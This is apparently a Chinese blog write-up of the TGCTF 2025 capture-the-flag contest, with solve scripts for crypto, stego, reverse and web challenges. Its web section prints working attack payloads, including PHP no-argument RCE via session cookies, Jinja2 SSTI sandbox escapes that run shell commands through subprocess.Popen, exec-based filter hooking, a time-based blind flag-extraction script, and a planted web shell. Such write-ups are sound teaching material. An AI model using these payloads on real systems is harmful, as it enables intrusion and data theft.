Loading... ## Crypto ### **AAAAAAAA·真·签到** > 给你flag签个到好了 > > ``` > UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB} > ``` > > 诶,我的flag怎么了???? > > 好像字母对不上了 > > 我的签到怎么办呀,急急急 > > 听说福来阁好像是TGCTF开头的喔 变种凯撒 ```python cipher = 'UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}' flag = '' offset = -1 for i in range(len(cipher)): if cipher[i].isalpha(): if cipher[i].isupper(): flag += chr(((ord(cipher[i]) - ord('A') + offset + i) % 26) + ord('A')) else: flag += chr(((ord(cipher[i]) - ord('a') + offset + i) % 26) + ord('a')) else: flag += cipher[i] print(flag) ``` > TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE} ### **费克特尔** > c=670610235999012099846283721569059674725712804950807955010725968103642359765806 > > n=810544624661213367964996895060815354972889892659483948276203088055391907479553 > > e=65537 题目直接叫factor了 上factordb分解下n n = 113 · 18251 · 2001511 · 214168842768662180574654641 · 916848439436544911290378588839845528581 ```python from math import gcd from Crypto.Util.number import inverse, long_to_bytes c = 670610235999012099846283721569059674725712804950807955010725968103642359765806 n = 810544624661213367964996895060815354972889892659483948276203088055391907479553 e = 65537 factors = [ 113, 18251, 2001511, 214168842768662180574654641, 916848439436544911290378588839845528581] phi = 1 for i in factors: phi *= (i - 1) d = inverse(e, phi) m = pow(c, d, n) message = long_to_bytes(m) print("Flag:" + message.decode('utf-8')) ``` > TGCTF{f4888_6abdc_9c2bd_9036bb} ## Misc ### **next is the end** n层嵌套的文件夹 写个脚本 ```python import os current_path = os.getcwd() + r"\next_or_end" # 初始路径 depth = 0 while "next_or_end" in os.listdir(current_path): current_path = os.path.join(current_path, "next_or_end") if "next_or_end" in os.listdir(current_path): depth += 1 else: break print(f"最终深度: {depth}") print(f"最终路径: {current_path}") finalpath = os.path.join(current_path, 'you_get_it') filepath = os.path.join(finalpath, 'flag.txt') with open(filepath, 'r') as file: flag = file.read() print(flag) ``` ### **where it is(osint)**  截取学校部分的图片 识图 找到学校是[臺北市立內湖高級工業職業學校](https://www.nihs.tp.edu.tw/) 上谷歌地图找  根据街景就能确认这个站点 ### **这是啥o_o** 附件中是一个Gif文件 帧分离后可得到后几帧中的图片碎片 拼图后是汉信码 中国编码app可以识别 结果是==time is your fortune ,efficiency is your life== 这是出题人给的hint 关注时间 于是发现是帧间隔隐写 人话就是通过GIF动画每帧图片之间的间隔隐写信息 ```PYTHON import os from PIL import Image def get_gif_durations(gif_path): try: with Image.open(gif_path) as img: durations = [] while True: try: durations.append(img.info.get('duration', 0)) img.seek(img.tell() + 1) except EOFError: break return durations except Exception as e: print(f"Error: {str(e)}") return None path = os.getcwd() + r"\a.gif" result = get_gif_durations(path) flag = '' if result: for i, duration in enumerate(result): flag += chr(duration // 10) print(flag) ``` > TGCTF{You_caught_up_with_time!} ### ez_zip 爆破压缩包  密码20250412 解压出来文件夹 有一个sh512.txt 内容为 Awesome,you_are_so_good End压缩包中也有一个sh512.txt 计算sha512  发现CRC一样 那就好办了 明文攻击 密钥[ b39bc130 8183a9f1 d5381ad8 ] 解压出flag.zip  010看一下  > 两个问题 > > 1. 文件名应是flag.txt,长度应为8,而文件中为4 改回8 > 2. 文件是压缩过的,但标记为STORED 改回Deflate 解压 修复后的压缩包 提取出flag.txt > TGCTF{Warrior_You_have_defeated_the_giant_dragon!} 参考:[压缩包Zip格式详析](https://blog.csdn.net/qq_43278826/article/details/118436116) ### **你能发现图中的秘密吗?** 给了一个压缩包+一张图片  图片存在lsb key=i_1ove_y0u 是压缩包密码 解压出一张图片一个PDF  PDF用ps打开  存在flag图层 是flag2 查看另一张图片的IDAT结构  发现最后一个IDAT块巨大无比 可能是藏了一张图片 删掉其他的IDAT块后爆破宽高  > TGCTF{you_are_so_attentive_and_conscientious} ### **TeamGipsy&ctfer** 唯一一道取证题,但是感觉也不大像取证 最难的地方在于从百度网盘下载 DiskGenius挂载一下硬盘  在桌面找到一个mimi.txt ## Reverse ### **Base64** IDA分析代码  初步判断是一个自定义的Base64码表 跟进函数sub_1400010E0查看具体如何实现 太长了 丢给deepseek > ### 分析 > > 1. **自定义Base64编码表**:题目中使用了一个自定义的Base64编码表`GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI`。 > 2. **编码逻辑**:每个6位值`x`被转换为编码表中的索引`(x + 24) % 64`。 > 3. **解码逻辑**:解码时需要将每个字符的索引转换为`(索引 - 24) % 64`,然后将这些6位值组合成原始字节。 ```python custom_base64_table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI" table = {char: idx for idx, char in enumerate(custom_base64_table)} def decode_custom_base64(encoded): encoded = encoded.rstrip('=') decoded_bytes = [] for c in encoded: if c not in table: raise ValueError(f"Invalid character: {c}") index = table[c] x = (index - 24) % 64 decoded_bytes.append(x) # 将6位数值转换为二进制字符串 bit_str = ''.join([bin(b)[2:].zfill(6) for b in decoded_bytes]) # 将二进制字符串转换为字节 byte_arr = bytearray() for i in range(0, len(bit_str), 8): byte = bit_str[i:i+8] if len(byte) < 8: break byte_arr.append(int(byte, 2)) return bytes(byte_arr) encoded_str = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=" decoded_data = decode_custom_base64(encoded_str) flag = decoded_data print(flag.decode()) ``` > HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32} ## Web ### **TG_wordpress** 四个方向都可以拿hint 挑最简单的了 .DS_Store泄露 拿到RSA密钥和密文 解出wp账密 登录后看到插件有file manager 一眼丁真了 ### **AAA偷渡阴平** 非预期解了 > Payload:tgctf2025=chdir(DIRECTORY_SEPARATOR);highlight_file(flag); ### **AAA偷渡阴平(复仇)** SESSION和2没被waf 参考:[RCE篇之无参数rce ](https://www.cnblogs.com/pursue-security/p/15406272.html) 对命令文本转换为16进制 cat /flag => 636174202f666c6167 > Payload:tgctf2025=session_start();system(hex2bin(session_id())); > > set Cookie:PHPSESSID=636174202f666c6167 ### **直面天命** 非预期 提示爆破4字母路由 找到 /aazz 可以传参 爆破出参数 filename > Payload:filename=/flag ### **直面天命(复仇)** 访问/aazz 拿到题目源码 审计代码 ```python import os import string from flask import Flask, request, render_template_string, jsonify, send_from_directory from a.b.c.d.secret import secret_key app = Flask(__name__) black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self'] def waf(name): for x in black_list: if x in name.lower(): return True return False def is_typable(char): # 定义可通过标准 QWERTY 键盘输入的字符集 typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace return char in typable_chars @app.route('/') def home(): return send_from_directory('static', 'index.html') @app.route('/jingu', methods=['POST']) def greet(): template1="" template2="" name = request.form.get('name') template = f'{name}' if waf(name): template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹 Image' else: k=0 for i in name: if is_typable(i): continue k=1 break if k==1: if not (secret_key[:2] in name and secret_key[2:]): template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧 再去西行历练历练 Image' return render_template_string(template) template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}” 最后,如果你用了cat,就可以见到齐天大圣了 " template= template.replace("天命","{{").replace("难违","}}") template = template if "cat" in template: template2 = ' 或许你这只叫天命人的猴子,真的能做到? Image' try: return template1+render_template_string(template)+render_template_string(template2) except Exception as e: error_message = f"500报错了,查询语句如下: {template}" return error_message, 400 @app.route('/hint', methods=['GET']) def hinter(): template="hint: 有一个aazz路由,去那里看看吧,天命人!" return render_template_string(template) @app.route('/aazz', methods=['GET']) def finder(): with open(__file__, 'r') as f: source_code = f.read() return f" {source_code} ", 200, {'Content-Type': 'text/html; charset=utf-8'} if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` SSTI题目 ```python template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}} 最后,如果你用了cat,就可以见到齐天大圣了" template= template.replace("天命","{{").replace("难违","}}") ``` 可以看出 secret_key 是 天命难违 Hex绕过waf 获取模块列表 找到subprocess.Popen 索引为351 ``` POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()难违 POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('ls ',shell=True,stdout=-1).communicate()[0]难违 POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('cat tgffff11111aaaagggggggg',shell=True,stdout=-1).communicate()[0]难违 ``` ### **熟悉的配方,熟悉的味道** ```python from pyramid.config import Configurator from pyramid.request import Request from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server from pyramid.events import NewResponse import re from jinja2 import Environment, BaseLoader eval_globals = { #防止eval执行恶意代码 '__builtins__': {}, # 禁用所有内置函数 '__import__': None # 禁止动态导入 } def checkExpr(expr_input): expr = re.split(r"[-+*/]", expr_input) print(exec(expr_input)) if len(expr) != 2: return 0 try: int(expr[0]) int(expr[1]) except: return 0 return 1 def home_view(request): expr_input = "" result = "" if request.method == 'POST': expr_input = request.POST['expr'] if checkExpr(expr_input): try: result = eval(expr_input, eval_globals) except Exception as e: result = e else: result = "爬!" template_str = 【xxx】 env = Environment(loader=BaseLoader()) template = env.from_string(template_str) rendered = template.render(expr_input=expr_input, result=result) return Response(rendered) if __name__ == '__main__': with Configurator() as config: config.add_route('home_view', '/') config.add_view(home_view, route_name='home_view') app = config.make_wsgi_app() server = make_server('0.0.0.0', 9040, app) server.serve_forever() ``` #### 内存马 审计代码 发现 ==checkExpr==函数中存在一行==print(exec(expr_input))==且无校验 按顺序执行两条命令 直接覆盖掉检测 ```python global eval_globals; eval_globals = {} #覆盖黑名单 global checkExpr; checkExpr = lambda x: 1 #HOOK检测函数,使其永远返回1 ``` RCE ``` __import__('os').popen('ls /').readlines() __import__('os').popen('cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk').readlines() ``` #### SSTI 时间/报错 盲注 ```python import requests as request import string import time url='http://127.0.0.1:8102/' flag ='' for i in 64(100): for char in string.printable: code = f"""import os import time t = os.popen('cat /fl*').read() if len(t)>{i} and t[{i}]=='{char}': time.sleep(2) """ startTime = time.time() request.post(url, data={'expr': code}) endTime = time.time() if endTime - startTime >= 2: flag += char print(char, end='') break else: continue print('\nFound flag:', flag) ``` ### **前端GAME / PLUS / ULTRA** 三个CVE > [Vite Dev Server Vulnerability Scanner](https://github.com/xuemian168/CVE-2025-30208/) ### 火眼辩魑魅 /robots.txt > User-Agent: * > Disallow: tgupload.php > Disallow: tgshell.php > Disallow: tgxff.php > Disallow: tgser.php > Disallow: tgphp.php > Disallow: tginclude.php tgshell.php 蚁剑直接连  最后修改:2025 年 04 月 16 日 © 允许规范转载 赞 3 如果觉得我的文章对你有用,请点个赞叭
1 条评论
test